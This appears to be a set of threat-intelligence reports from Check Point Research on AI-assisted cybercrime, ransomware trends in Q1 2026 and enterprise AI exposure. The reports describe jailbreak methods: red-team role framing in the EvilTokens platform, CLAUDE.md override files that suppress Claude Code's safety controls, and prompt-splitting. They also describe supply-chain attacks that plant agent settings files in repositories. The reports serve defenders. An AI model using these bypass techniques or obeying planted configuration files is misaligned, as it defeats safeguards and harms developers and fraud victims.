The previous section demonstrates the use of agentic configuration files to override safety features in their own AI sessions. The same inheritance mechanism can be used in reverse: an attacker plants malicious agentic configuration files in a repository, and an innocent developer uses the project and becomes the next victim.

A recent CPR report documented three exploitation paths and disclosed two (now patched) CVEs. CVE-2025-59536 exploits Claude Code’s Hooks feature (hooks, .claude/settings.json), executing arbitrary commands before the developer can read them. A parallel path uses .mcp.json to trigger the MCP server startup, bypassing the consent dialog entirely. CVE-2026-21852 redirects ANTHROPIC_BASE_URL to a malicious proxy that intercepts authorization headers and potentially steals API keys, granting read/write access to the entire team Workspace before any trust prompt appears. The attack vector in all three cases is “supply chain”, a malicious settings file embedded in a pull request, honeypot repository, or compromised codebase that results in system compromise on the developer machine.

The underlying issue of using agentic configuration files as the attack surface and supply chain is not specific to Claude. The potential attack surface is architectural and may apply equally to Cursor (.cursorrules), Windsurf (.windsurfrules), and GitHub Copilot Workspace (.github/copilot-instructions.md).

AI-Powered Fraud at Scale: EvilTokens

EvilTokens represents a category of offensive tooling offered for sale: a commercial Phishing-as-a-Service (PhaaS) platform, built using AI and operating an LLM pipeline as a runtime component of the attack. A buyer with no AI knowledge can purchase access to a fully integrated pipeline in which model selection, jailbreak, and output delivery are handled at the platform level.

EvilTokens runs a multi-stage attack flow. Device-code phishing pages impersonating Adobe, DocuSign, and SharePoint harvest Microsoft OAuth tokens. The AI pipeline then activates these tools:

• Via Groq, llama-3.1-8b-instant ingests up to 5,000 emails in 250-email batches, extracting account numbers, routing numbers, wire amounts, payment deadlines, and reporting hierarchies.
• Also via Groq, llama-3.3-70b-versatile synthesizes the intelligence, generates BEC (Business Email Compromise) drafts tailored to the victim’s writing style, and assigns a BEC score.
• gpt-4o-mini translates stolen emails for non-English-speaking operators.
• The SMTP Sender delivers the output with rotating SMTP pools, header fingerprint randomization, DKIM signing, and CSS randomization.

The researchers assessed with high confidence that the platform’s backend was AI-generated.

The model choices reflect deliberate task routing: Llama 3.1 8B was used for cheap high-volume extraction, Llama 3.3 70B for reasoning-heavy synthesis and stylistic mimicry, and GPT-4o-mini was reserved for translation where it has the strongest multilingual capability and where the task itself looks innocuous to provider-side monitoring. The riskiest content generation is kept on Groq-hosted open-weight models instead of on OpenAI’s more closely monitored surface.

The jailbreak is the product. Both Groq-hosted LLaMA stages operate under a jailbreak embedded at the platform level, not applied by the operator and not visible to the customer. Stage 1 frames the model as an “authorized red team security analyst” conducting “sanctioned penetration tests”; Stage 2 upgrades to “senior red team analyst.” Prompts direct the model to reference real email threads, mask payment changes behind “plausible business reasons”, imitate sender style, and generate emails “realistic enough to fool a trained employee.” This is security bypass at SaaS scale: write the jailbreak once, ship it as a feature, and it’s inherited in every customer session.

The original EvilTokens advertising posts reveal additional features, including a Calendar Invite module which sends fake meeting invitations that appear as legitimate Outlook and Gmail meeting requests, with built-in Sender Spoofing (Organizer Identity). In a BEC context, this is used to apply timing pressure on finance personnel: a fake “urgent review meeting” appears on the target’s calendar shortly before a wire-transfer request lends the request a sense of pre-authorized context. Combined with the AI-generated email and the SMTP Sender, this completes a full BEC social engineering toolkit covered end-to-end by a single PhaaS offering.

EvilTokens’ Telegram channel announced additional AI-based features after Sekoia’s disclosure. The platform did not go offline and accelerated its AI feature development through April 2026.

The Vulnerability Race: AI on Both Sides of the Patch Window

AI-assisted vulnerability research has become a category in its own right and is now commercialized at both major frontier labs simultaneously on two tiers: a restricted research-grade capability and a productized defender tool.

At the frontier, Anthropic’s Claude Mythos, released through Project Glasswing, reportedly demonstrated a systematic, rapid mechanism to search for vulnerabilities and revealed a very large number of vulnerabilities, some long-buried zero-days in core infrastructure. These include a 27-year-old OpenBSD TCP/SACK bug found at roughly $20,000 in compute, a 16-year-old FFmpeg H.264 codec flaw, and a FreeBSD NFS remote code execution vulnerability in software that was analyzed for decades. The capability jump within a single generation is steep: on the same Firefox test set, Opus 4.6 produced 2 successful exploits and Mythos produced 181. Anthropic notes that this capability was not explicitly trained for but “emerged as a downstream consequence of general improvements in code, reasoning, and autonomy.” The productized tier is wider and more accessible: Claude Security (running on the public Opus 4.7 model) entered public beta for Enterprise customers, and OpenAI’s Codex Security, in research preview since early March, has had 14 CVEs assigned during the preview window on OpenSSH, GnuTLS, libssh, PHP, and Chromium.

The same capability curve is reaching attackers at the commodity tier, faster than defenders can patch. A researcher using a standard Claude API subscription identified CVE-2026-34197, a 13-year-old Apache ActiveMQ remote code execution vulnerability, and attributed roughly 80% of the work to Claude and the remainder to his refinement. LMDeploy SSRF (CVE-2026-33626) was exploited within 12 hours of the advisory publication, with no public proof-of-concept available. This time-frame compression is consistent with attackers building working exploits directly from advisory text. GenAI is accelerating this workflow.

Vendors are using AI to find vulnerabilities that sat undiscovered in core infrastructure for decades while attackers are using AI to find and weaponize newly-disclosed vulnerabilities within hours of publication. The patch window, the period between disclosure and exploitation, is being compressed on both sides. Vendors and customers need to adjust to a new high rate of patch development, delivery and deployment. The side that reacts the fastest will gain the most from recent AI developments.

Enterprise Adoption and Exposure

Corporate environment data collected by Check Point in March – April 2026 shows enterprise GenAI usage continuing to scale while the associated risk profile remains stable. Approximately one in every 28 prompts (3.6%) posed a high risk of sensitive data exposure, a modest increase from the January–February baseline of 3.2%, observed across 91% of organizations actively using GenAI tools (compared with 90% in the previous period). The proportion of prompts containing potentially sensitive information rose from 16% to 18%.

The average employee generated 78 prompts during March – April, up from 69, with organizations using an average of 10 GenAI tools. Interaction volume is rising while risk ratios remain stable, producing a proportional increase in absolute exposure events.

The consistency of these metrics across two reporting periods indicates a maturing adoption pattern: data exposure is not an episodic incident category but a continuous operational risk requiring sustained monitoring and policy enforcement.

Conclusion

Our findings converge on a small number of structural observations.

• AI now operates as an attack component, not just as a development aid. The Mexican breach illustrates this at government-breach scale, and Bissa at mass-exploitation scale. The same commercial Claude Code architecture appears independently across criminal operations with different motivations and geographies, and in state-sponsored espionage. The convergence is operational consensus, not coincidence.
• The techniques aren’t new but the performance envelope is. Network scanning, credential spraying, lateral movement, BEC drafting, and vulnerability research all predate AI. What’s changed is the speed (working exploits generated from advisory text alone within 12 hours of disclosure), scale (one operator reaching the operational footprint of an advanced team), and breadth of knowledge (cross-domain expertise on demand lowers the entry requirement for sophisticated multi-vector campaigns). Defences calibrated to human attack tempo and human team throughput are not equipped for the AI equivalents.
• The AI attribution gap is structural. All the operations we documented in this report were discovered through attacker OPSEC failures or LLM provider monitoring, not through victim-side controls. AI-executed commands resemble skilled human activity closely enough to evade current behavioral controls. Operations that do not fail at OPSEC, or that route through stolen credentials or self-hosted models, remain unclassified.

The post AI Threat Landscape Digest March-April 2026 appeared first on Check Point Research.

Key Findings

• Consolidation after peak fragmentation: The top 10 ransomware groups accounted for 71% of all Q1 2026 victims, a sharp reversal from the fragmentation seen in Q3 2025. The ransomware ecosystem is once again consolidating around fewer, more dominant operators.
• Volume stabilization at historically high levels: There were 2,122 victims posted on data leak sites (DLS), making this period the second-highest Q1 on record. The long growth trend is stabilizing.
• Qilin’s sustained dominance: Qilin maintained its position as the most prominent ransomware operation for the third consecutive quarter, posting 338 victims.
• The Gentlemen is the breakout story of Q1 2026 reaching the third place on the global ransomware list, increasing their victim count from 40 victims in Q4 2025 to 166 in Q1 2026.
• LockBit 5.0 comeback confirmed: LockBit posted 163 victims in Q1 2026, climbing to fourth place.

Ransomware in Q1 2026: Consolidation at Scale

During the first quarter of 2026, we monitored more than 70 active data leak sites (DLS) that collectively listed 2,122 new victims. This figure represents a 12.2% decline from the Q4 2025 all-time record of 2,416 victims but remains the second-highest Q1 on record at 117% above Q1 2024 (977 victims) and is keeping in line with the elevated baseline established through 2025.

Monthly volumes within Q1 were consistently stable: in January there were 732 recorded victims, 684 in February, and 706 in March. This reflects a sustained operating rate of an average of 707 victims per month in Q1 2026.

The headline year-over-year (YoY) comparison shows a 7.1% decline from the 2,285 victims in Q1 2025. However, this comparison is misleading as the Q1 2025 numbers were heavily inflated by Cl0p’s Cleo mass-exploitation campaign which contributed approximately 390 victims in a single burst. If we exclude Cl0p from both periods, there were 1,894 victims in Q1 2025 versus 1,995 in Q1 2026, an actual YoY increase of 5.3%. The underlying growth trend in ransomware operations persists, even as the most dramatic spikes subside.

From fragmentation to consolidation

The most significant structural development seen in Q1 2026 is not the volume of attacks but the consolidation of the different operators conducting them. After two years of steady fragmentation, during which the number of active groups grew from 51 in Q1 2024 to a peak of 85 in Q3 2025 and the Top-10 share of victims fell from 68% to 57%, the ecosystem has decisively reversed course.

In Q1 2026, the top 10 groups accounted for 71.1% of all DLS-posted victims, which is the highest concentration since Q1 2024 when the ecosystem was far smaller. The number of active groups shrank from 85 to 71. Fourteen groups that were active in Q4 2025 disappeared entirely, while 21 new names appeared. However, most of the newcomers posted fewer than 10 victims, failing to take advantage of the disappearance of established mid-tier operators.

This is a common pattern repeated throughout the ecosystem’s history: law enforcement actions disrupt the ransomware market, affiliates scatter, and survivors who avoid disruption absorb the displaced talent pool and grow. Groups such as Qilin, Akira, The Gentlemen, and LockBit, who together claimed 41% of all victims in Q1, capitalized on the instability of their competitors. In Q1 2026, Qilin alone posted more victims than the combined output of the bottom 50 groups.

This dynamic carries implications beyond statistics. The consolidation of the ecosystem around fewer, more dominant operators changes its character. Larger RaaS brands invest in operational consistency, including functional decryption tools, because their business model depends on the perception that victim payment results in data recovery. In contrast, the ransomware fragmentation we saw in 2025 introduced dozens of transient operators with no such incentive to invest any effort in decryption. An example is Obscura, whose encryption bug renders files over 1 GB permanently unrecoverable regardless of payment. For defenders and incident responders, consolidation means facing fewer but more capable adversaries.

Notable surges and declines

Comparing the data between Q4 2025 and Q1 2026 reveals which groups are absorbing the affiliate talent pool, and which are failing to take advantage of it.

Surges:

• The Gentlemen grew by 315%, going from 40 claimed victims to 166, making them the biggest story of Q1 2026, covered in detail below.
• LockBit 5.0 activity increased by 106%, from 79 victims to 163.
• Nightspire, a closed-group operation with OneDrive cloud encryption capability, expanded by 183% from 29 victims to 82, sustaining growth across two consecutive quarters.
• Play posted a 64% increase, going from 74 victims to 121.

Declines:

• SafePay fell by 77%, going from 97 victims to 22. SafePay is a centralized, non-RaaS operation whose DLS was marked inactive from mid-March 2026 through early April for unknown reasons.
• Devman declined by 70%, from 82 victims to 25. The ransomware’s operator “Tramp”, a former Conti and Black Basta affiliate, was added to Interpol’s wanted list in January 2026. All three DLS sites went offline by early February.
• Sinobi dropped by 42%, from 139 victims to 80. After a strong January (56 victims), activity collapsed to just 7 victims in March. As of the time of this publication, no postings were recorded in April.

Actor Spotlight: The Gentlemen – The Breakout Story of Q1 2026

The Gentlemen is the most significant new ransomware operation to emerge in recent months. Going from zero victims in August 2025 to 166 in Q1 2026, the group achieved third place globally through a combination of pre-existing access stockpiles, aggressive geographic diversification, and a deliberate rejection of the traditional US-centric targeting model.

Origins: A Qilin defection

The Gentlemen was founded by a threat actor known as Hastalamuerte – an experienced Qilin affiliate, who left the Qilin RaaS program following a dispute over an unpaid commission of approximately $48,000. This explains both its rapid operational capability and its sophistication: the operators started with established tradecraft, tooling, and, crucially, a stockpile of pre-compromised access.

The FortiGate stockpile

The group’s most distinctive asset is a cache of approximately 14,700 pre-exploited FortiGate devices, exploited primarily via CVE-2024-55591 (a critical authentication bypass in FortiOS/FortiProxy). In addition to the exploited devices, the operators maintain 969 validated brute-forced FortiGate VPN credentials ready for attack. This stockpile provides The Gentlemen with a supply of ready-to-use initial access tools far exceeding what typical RaaS affiliates acquire through real-time exploitation or access broker purchases.

How was this stockpile acquired? According to this report, Hastalamuerte was an experienced affiliate who had previously worked with Embargo, LockBit, and Medusa before joining Qilin. Before creating their own RaaS platform, The Gentlemen’s operators “experimented with various affiliate models used by other prominent ransomware groups.” The 14,700-device inventory likely predates the group’s September 2025 launch. Publishing 38 victims within weeks of beginning operation strongly suggests pre-existing access in the form of a massive number of compromised devices rather than real-time exploitation.

A non-Western targeting model

The Gentlemen’s geographic distribution is a striking outlier. Only 13.3% of its victims are based in the United States, compared to the ecosystem average of 49.6%. Thailand (10.8%), Brazil (6.0%), and India (4.2%) all feature prominently on their victim list.

This may reflect the geographic distribution of exploitable FortiGate devices; the group attacks where it has pre-positioned access, and that access happens to be concentrated in APAC and Latin American networks. This is an infrastructure-driven pattern rather than a deliberate targeting strategy: the operators did not choose Thailand or Brazil based on strategic preference but are exploiting access they already have.

However, we cannot exclude a secondary factor: deliberate avoidance of US targets to reduce law enforcement risk. The Gentlemen is a Russian-speaking operation founded by an affiliate who already experienced the consequences of ransomware ecosystem disputes. The decision to exploit a globally distributed stockpile while bypassing US devices – if that is what is occurring – would represent rational risk management given the heightened US law enforcement posture.

LockBit 5.0: Making a Comeback

LockBit posted 163 victims in Q1 2026 (an increase of 106% compared to Q4 2025), climbing from outside the top 10 to fourth place globally. After an initial surge of 85 victims in January (likely to reflect the accumulation of access during the pre-launch period), activity dipped to just 33 victims in February before climbing back to 45 in March. This dip-and-recovery trajectory is characteristic of a program rebuilding its affiliate base instead of exhausting a one-time stockpile, assuming these are genuine reports and not recycled or fictional reports.

Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. 

The new LockBit 5.0 was officially launched on the RAMP underground forum in September 2025, coinciding with the sixth anniversary of the operation. The new version introduced multi-platform support (Windows, Linux, ESXi), enhanced evasion and anti-analysis mechanisms, faster encryption routines, and randomized 16-character file extensions to disrupt signature-based detection. New affiliates were required to provide a Bitcoin deposit of approximately $500.

Geographic diversification: from US dominance to global spread

LockBit’s geographic targeting has undergone a dramatic and measurable shift since its last appearance. Historically, the United States accounted for over 50% of LockBit’s victims – consistent with the ecosystem-wide baseline. In Q1 2026, US victims represented just 21.2% of LockBit’s total, with Italy (8.6%), Brazil (8.6%), and Turkey (5.1%) picking up the slack.

The shift away from US victims is new. Despite no documented forum announcements, the circumstantial evidence is strong: the direction is specifically toward non-US and European nations or countries with less aggressive behavior toward ransomware operators such as Italy, Brazil, and Turkey. The result is a nearly 30-percentage-point (pp) drop in US-based victims, despite an overall 106% increase in victims compared to Q4 2025.

The reaction to law enforcement actions may not result in a lower overall attack volume, but operators such as LockBitSUpp appear to be trying to redirect their activity away from the enforcing jurisdictions. Whether this represents a deliberate strategic decision or an emergent consequence of attracting affiliates from different geographic backgrounds remains an open question.

DragonForce: The Cartel Model Under Pressure

DragonForce posted 101 victims in Q1 2026 (an increase of 29% compared to Q4 2025), with a steep climb from 10 victims in January to 35 in February and 56 in March. This trajectory suggests an operation gaining momentum rather than depleting stockpiled access.

DragonForce continues to distinguish itself through its public relations strategy and “cartel” branding, positioning itself as an umbrella organization for multiple sub-brands. However, our investigation indicates that the cartel model is smaller than advertised:

• Devman, which split from DragonForce in July 2025, saw their victim totals collapse from 82 (Q4 2025) to 25 (Q1 2026). Twenty-four of those victims were posted in January.
• Coinbase Cartel, initially reported as a DragonForce sub-brand, has been independently linked to the ShinyHunters operation by Bitdefender.
• Obscura, cited as a potential cartel member, posted only around 20 victims in total.

DragonForce’s technical capabilities remain genuine with multi-platform support and the group actively recruits affiliates. Its data audit service, which analyzes stolen datasets exceeding 300 GB to identify the most valuable information for extortion leverage, represents genuine innovation in the extortion model. However, the broader cartel narrative appears to be more marketing than substance.

Geographic Distribution of Victims – Q1 2026

The geographic distribution of ransomware victims in Q1 2026 maintains the fundamental pattern established over previous quarters: the United States accounts for just under half of all reported cases (49.6%), with Western developed economies making up the clear majority of targets.

The most notable development is Thailand’s entry into the top 10 for the first time, driven almost entirely by The Gentlemen, for whom Thai organizations constitute 10.8% of total victims. Taiwan also rose sharply (from 8 victims to 26), while South Korea dropped out entirely. This confirms that Qilin’s Q3 2025 financial sector campaign targeting 30 South Korean organizations was a one-off event rather than a sustained targeting shift.

Per-Actor Geographic Targeting: Distinct Patterns

A per-actor analysis of the top 20 groups’ country distributions reveals that the ecosystem-level averages mask dramatically different targeting strategies. We identified six distinct geographic patterns by measuring each actor’s deviation from the 49.6% US baseline.

Pattern 1 – Extreme US focus (>75% US). These actors target the United States at rates far exceeding the ecosystem average:

• Play (85.1% US) operates as a closed group with a Russia-nexus lineage and centralized target selection that consistently prefers US organizations.
• Sinobi (76.2% US) explicitly targets US mid-market manufacturing and construction.
• Genesis (93.1% US) whose near-exclusive US focus (27 of 29 confirmed victims) and emphasis on the Healthcare sector (20.7%) is striking for an emerging actor with no documented affiliate program.

Pattern 2 – Deliberate US avoidance (<25% US). These actors are going in the opposite direction:

• Tengu (11.4% US) is the most geographically diversified actor in the top 20, with victims spread across Indonesia (8.6%), Mexico (8.6%), India (6.9%), and Italy (5.8%).
• LockBit (21.5% US) represents deliberate post-disruption diversification, as discussed above.

Pattern 3 – Vulnerability related distribution:

• Cl0p’s geographic anomalies (18.1% Canada and 8.7% Australia). Cl0p’s traditional mass exploitation campaigns produce victim distributions that mirror the installed base of the exploited software, in this case EBS campaign (CVE-2025-61882).
• The Gentlemen (13.3% US) reflects the geographic distribution of its approximately 14,700-device FortiGate access stockpile, which is concentrated in Thailand (10.8%), Brazil (6%), and India (4.2%).

Country-Level Actor Dominance: When One Group Shapes a Nation’s Threat Profile

Flipping the analysis from “which countries does an actor target” to “which actors dominate each country” reveals an even more striking picture. Several countries’ entire ransomware threat profiles are defined by a single actor’s operational choices.

Single-actor-shaped countries:

Country	Dominant actor	Share
Thailand	The Gentlemen	53%
Argentina	Qilin	39%
Mexico	LockBit	37%
Australia	Cl0p	34%
Switzerland	Akira	31%
Brazil	LockBit	31%

Thailand’s case is the most extreme: more than half of all Thai ransomware victims are claimed by The Gentlemen. Without this single group, Thailand would not even appear in the top-10 most-attacked countries. Similarly, without Cl0p’s Oracle EBS campaign, Australia and Canada would show substantially lower victim counts. These findings underscore that country-level ransomware statistics are frequently shaped by one actor’s specific access inventory, software exploitation campaign, or strategic redirection – not by broad shifts in the threat landscape.

Multi-actor convergence countries. Two countries stand out for having three or more actors independently converging to create unusually diverse threat environments:

• Turkey (23 victims): LockBit (6 victims) + DragonForce (5 victims) + The Gentlemen (5 victims), 70% of Turkey’s victim totals are due to the activity of just three actors.
• Japan (21 victims): The Gentlemen (6 victims) + Everest (4 victims) + Nightspire (3 victims). = 62% of the victims are due to three distinct actors. Both The Gentlemen and Nightspire exploit the same FortiGate vulnerability (CVE-2024-55591).

Ransomware Attacks by Industry – Q1 2026

The industry distribution of ransomware victims in Q1 2026 shows continued cross-sector impact, with a few notable concentrations.

As with geographic patterns, ecosystem-level industry averages mask fundamentally different targeting strategies at the actor level. A per-actor analysis of the top 20 groups reveals that sector selection is driven by at least three distinct observations.

Software footprint targeting. Cl0p’s 53.5% Business Services concentration (+18.6 percentage points above baseline) does not reflect a preference for professional services firms. It reflects the user base of Oracle EBS, the enterprise application exploited in the Q1 2026 campaign. Mass exploitation campaigns produce industry distributions that mirror the deployment pattern of the exploited software. This is the same dynamic observed in Cl0p’s geographic analysis, where Canada and Australia were over-represented because of Oracle EBS adoption.

Operational disruption maximization. Akira’s targeting of Consumer Goods (23.9%, +9.8 percentage points above baseline) and Industrial Manufacturing (17.8%, +6.7 percentage points above baseline), a combined 41.7% versus the 25.1% baseline, is consistent with an economically optimized model. These sectors share high downtime costs (production lines, supply chain dependencies) and complex IT/OT environments that make recovery without decryption keys extremely difficult. With $244 million in total proceeds and a 34% share of IR engagements, Akira’s sector selection reflects deliberate targeting of firms where the pressure to pay is greatest. This is not opportunistic; it’s the Conti lineage playbook applied to the sectors where it generates the highest return per incident.

Anubis stands apart from all other top-20 actors in its willingness to target healthcare (13.0%, +8.3 percentage points above baseline) and critical infrastructure (8.7%, +7.7 percentage points above baseline).

Conclusion

In Q1 2026, the ransomware ecosystem entered a new phase. After two years of steady fragmentation, the market is reconsolidating around a smaller number of dominant operators. Qilin, Akira, The Gentlemen, and LockBit together account for 41% of all victims. Domination by the top-10 actors has returned to levels not seen since early 2024.

This consolidation is not a return to the previous state. The emerging dominant groups are more technically capable, more geographically diversified, and more resilient to disruption than their predecessors. At the same time, the economic foundations of ransomware are showing signs of stress. Payment rates have fallen to historic lows. Mass data-theft campaigns are generating diminishing returns. The gap between the growing number of DLS-posted victims (2,122 in Q1 2026) and the declining monetization per victim may accelerate the current consolidation squeezing out operators who cannot achieve sufficient scale or sophistication to remain profitable.

The post The State of Ransomware – Q1 2026 appeared first on Check Point Research.

KEY FINDINGS

AI-assisted malware development has reached operational maturity.
VoidLink framework, which is modular, professionally engineered, and fully functional, was built by a single developer using a commercial AI-powered IDE within a compressed timeframe. AI-assisted development is no longer experimental but produces deployment ready output.

AI-assisted development is not always obvious from the final product.
VoidLink was initially assessed as the work of a coordinated team based on its architecture and implementation quality. The development method was exposed not from analyzing the malware but through an operational security failure. AI-assisted development should be considered a possibility from the outset, not as an afterthought.

Adoption of self-hosted, open-source AI models is growing but still limited in practice.
Actors of varying skill levels are investing in self-hosted and unrestricted models to avoid commercial platform restrictions. However, underground discussions consistently reveal a gap between aspiration and capability: local models still underperform, finetuning remains aspirational, and commercial models remain the productive choice even for actors with explicit malicious intent.

Jailbreaking is shifting from direct prompt engineering toward agenticarchitecture abuse.
Traditional copy-paste jailbreaks are increasingly ineffective. The misuse of AI agent configuration mechanisms, specifically project files that redefine agent behavior, is a more significant development as it represents a qualitative shift from manipulating a
model’s responses to abusing its operational architecture.

AI is showing early signs of deployment as a real-time operational component. Beyond its use as a development aid, AI is beginning to appear as a live element in offensive workflows as autonomous agents performing security research tasks, and
LLMs classifying and engaging targets at scale within automated pipelines.

Enterprise AI adoption is itself an expanding attack surface.
GenAI activity across enterprise networks shows that one in every 31 prompts risked sensitive data leakage, impacting 90% of GenAI-adopting organizations.

INTRODUCTION

During January-February 2026, cyber crime ecosystems continue to adopt AI in a widespread but uneven pattern. Throughout 2025, legitimate software development began shifting from promptbased AI assistance to agent-based development. Tools such as Cursor, GitHub Copilot, Claude Code, and TRAE introduced a common paradigm: developers write structured specifications in markdown files, and AI agents autonomously implement, test, and iterate code based on those instructions. This agentic model, in which markdown is the operative control layer, is now starting to appear across the threat landscape.

The critical differentiator in what we observed is AI methodology combined with domain expertise. Across cyber crime forums, the dominant pattern of AI use remains unstructured prompting: actors request malware or exploit code from AI models as if entering a query in a search engine. VoidLink (detailed below) on the other hand, is the first documented case of AI producing truly advanced, deploymentready malware. The developer combined deep security knowledge with a disciplined, spec-driven
workflow to produce results indistinguishable from professional team-based engineering. Forum activity, which constitutes the bulk of observable evidence, primarily consists of actors who have not yet adopted structured AI workflows and whose efforts remain relatively unsophisticated. The more capable actors, those who combine domain expertise with disciplined AI methodology, leave far fewer traces in open forums, making the true scope of this shift harder to measure.

VOIDLINK: THE STANDARD WE MEASURE AGAINST

In January 2026, Check Point Research (CPR) exposed VoidLink, a Linux-based malware framework featuring modular command-and-control (C2) architecture, eBPF and LKM rootkits, cloud and container enumeration, and more than 30 post-exploitation plugins. The framework is highly sophisticated and professionally engineered, so much so that the initial assessment was that VoidLink was likely the product of a coordinated, multi-person development effort conducted over months of intensive development.

Operational security (OPSEC) failures by the developer later exposed internal development artifacts that told a different story. These materials revealed that VoidLink was authored by a single developer using TRAE SOLO, the paid tier of ByteDance’s commercial AI-powered IDE. Instead of unstructured prompting, the developer used Spec Driven Development (SDD), a disciplined engineering workflow, to first define the project goals and constraints, and then use an AI agent to generate a comprehensive architecture and development plan across three virtual teams (Core, Arsenal, and Backend). The resulting plan included sprint schedules, feature breakdowns, coding standards, and acceptance criteria, all documented as structured markdown files. The AI agent implemented the framework sprint by sprint, with each sprint producing working, testable code. The developer acted as product owner, directing, reviewing, and refining, while the AI agent did the actual work.

The results were striking. The recovered source code aligned so closely with the specification documents that it left little doubt that the codebase was written to those exact instructions. What normally would have been a 30-week engineering effort across three teams was executed in under a week, producing over 88,000 lines of functional code. VoidLink reached its first functional implant around December 4, 2025, one week after development began.

THIS CASE ESTABLISHES TWO PRINCIPLES:

• AI-assisted development now produces operationally viable, deployment-ready malware: it has crossed the threshold from experimental to functional.
• The AI involvement was invisible until it was exposed by an unrelated OPSEC failure. For analysts and defenders, this means AI involvement in malware development should be treated as a default working assumption, even when there are no visible indicators

The ramifications of VoidLink’s methodology go beyond this individual case. Its workflow, in which structured markdown specifications direct an AI agent to autonomously implement, test, and iterate, is the same paradigm that defined the agentic AI revolution in legitimate software development throughout 2025. The cyber crime ecosystem is not developing its own AI capability. It is adopting the same tools and architectural patterns as legitimate technology, with the additional goal of trying to overcome the protective limitations built into these systems. This is more important than which model or platform the attackers use.

The same architectural pattern repeatedly appears across the cases highlighted in our report: markdown skill files that transform a coding agent into an autonomous offensive security operator, and configuration files abused to override agent safety controls. In each case, the operative control layer is not code but structured documentation that determines what the AI agents build, how they behave, and what constraints they observe or ignore. This is in direct contrast to the underground forum activity, where the dominant approach remains unstructured prompting.

MODELS: COMMERCIAL, SELF-HOSTED, AND INFORMAL SERVICES

SELF-HOSTED OPEN-SOURCE MODELS

Across cyber crime forums, actors at all skill levels are actively exploring self-hosted, open-source AI models as alternatives to commercial platforms. Their motivations are consistent: to avoid moderation, prevent account bans, and maintain operational privacy.

Users with malware and hacking backgrounds are installing uncensored model variants such as wizardlm-33b-v1.0-uncensored and openhermes-2.5-mistral, and prompt them with comprehensive malicious wishlists spanning ransomware, keyloggers, phishing kits, and exploit code.

More established actors are conducting structured cost-benefit analyses, evaluating not only hardware requirements and GPU costs but whether locally hosted models produce reliable output (or hallucinate to the point of being operationally useless), and whether AI-generated malware meets the quality bar of current evasion techniques.

SELF-HOSTED MODELS: LIMITATIONS IN PRACTICE

Self-hosted models consistently show a gap between aspiration and capability. Community advice on improving local model output focuses on basic optimizations, such as switching to English-language prompts and increasing quantization levels, while references to more advanced techniques such as LoRA fine-tuning remain aspirational rather than operational.

Cost estimates range from $5,000 to $50,000 depending on the desired performance, with training timelines of 3–12 months and frank admissions that models “hallucinate a lot” without extensive investment.

Most tellingly, an active offensive tools vendor, advertising C2 setups, EDR bypass services, and red team tooling, concluded that local deployment is currently “more of a burden than something productive,” while acknowledging that commercial models remain useful despite increasing restrictions.

COMMERCIAL PLATFORMS AND INFORMAL ACCESS SHARING

Rather than migrating to self-hosted infrastructure, users are comparing what the prevailing workarounds among commercial models provide. Participants recommended specific providers they view as less restrictive, shared experiences with account enforcement on multiple platforms, and refined prompt-splitting techniques to incrementally bypass safeguards, such as requesting explanations before progressing toward executable code.

Some early signs of informal access sharing have been observed, with operators of local models offering to generate restricted outputs for others on request. However, given the historical precedent of “dark LLM” services that largely failed to deliver on their promises, it remains to be seen whether these will develop into durable service models.

JAILBREAKING AS ARCHITECTURAL ABUSE

Traditional jailbreaking, the practice of circulating copy‑paste prompts designed to trick models into producing restricted output, is becoming increasingly difficult to utilize. In some forum discussions, users seeking Claude jailbreaks were told that easy public prompts are no longer available, platforms have been cracking down on abusers, dedicated subreddits have been banned, and developing new jailbreaks is costly because the accounts are eventually terminated. Single‑prompt jailbreaking is becoming less attractive as model providers invest in safety enforcement.

ABUSING AGENT ARCHITECTURE

A more significant development is the emergence of jailbreaking techniques that target the architecture of AI agent systems rather than the model’s conversational safeguards. A packaged “Claude Code Jailbreak” distributed on forums illustrates this shift.

Claude Code is designed to read a CLAUDE.md file from a project’s root directory as configuration. Legitimate developers use this mechanism to define the project context, coding standards, and agent behavior. The jailbreak abuses this by placing override instructions in the CLAUDE.md file that suppresses safety controls and redefines the agent’s role. When Claude Code initializes in the directory, it reads these instructions as authoritative project configuration and follows them. The screenshots below claim successful generation of a RAT (Remote Access Trojan) using this method.

This is not prompt injection in the traditional sense, but manipulation of the agent’s instruction hierarchy, the same architecture used for agentic AI tools in legitimate development. The CLAUDE. md file occupies the same functional role as VoidLink’s markdown specification files or RAPTOR’s skill definitions: a structured document that determines what the agent does, how it behaves, and what constraints it observes.

FROM DEVELOPMENT TOOL TO OPERATIONAL AGENT

The preceding sections document AI as a development aid (as seen by VoidLink), a resource actors struggle to access on their own terms (self-hosted models), and as a system whose restrictions they attempt to bypass (jailbreaking). Now let’s look at AI deployed as a real-time operational component, performing offensive tasks autonomously within live workflows.

RAPTOR: AGENT-BASED OFFENSIVE ARCHITECTURE VIA MARKDOWN SKILLS

RAPTOR’s own data provides an additional data point on the commercial versus self-hosted question we discussed earlier. An evaluation of exploit generation across multiple model providers found that commercial frontier models (Anthropic Claude, OpenAI GPT-4, and Google Gemini) consistently produce compilable C code at approximately $0.03 per vulnerability, while locally hosted models via Ollama were marked as “often broken” and unreliable for exploit generation. This reinforces the conclusion reached independently by experienced actors in underground forums: commercial models remain significantly more capable than self-hosted alternatives for operational tasks.

Discussions on criminal forums indicate that threat actors are aware of this architecture. The combination of a proven architectural pattern, open source availability, and documented criminal interest suggests that similar configurations, whether directly based on RAPTOR or just replicating its approach, are likely being developed and tested privately.

AI AS ATTACK SURFACE: ENTERPRISE EXPOSURE

The preceding sections document how threat actors engage with AI as an offensive tool. But the same wave of AI adoption is simultaneously creating exposure from the defensive side. As enterprises integrate generative AI into daily workflows, the volume of sensitive data flowing through these tools introduces a distinct category of risk: instead of AI weaponized against organizations, AI is adopted by organizations in ways that outpace security controls.

In January – February 2026, corporate use of generative AI tools continued to expand at scale. Analysis of GenAI activity across enterprise networks shows that one in every 31 prompts (approximately 3.2%) posed a high risk of sensitive data leakage, including the potential sharing of confidential business information, regulated data, source code, or other sensitive corporate content with external GenAI services.

Critically, this risk is broadly distributed across the enterprise landscape rather than limited to a small number of outliers. High-risk prompt activity impacted 90% of organizations that use GenAI tools on a regular basis, indicating that nearly all GenAI-adopting enterprises encounter meaningful data leakage risk through everyday AI usage. Beyond these clearly high-risk events,16% of prompts contained potentially sensitive information, reflecting a wider pattern of questionable data-handling behavior that can still translate into compliance exposure or IP loss.

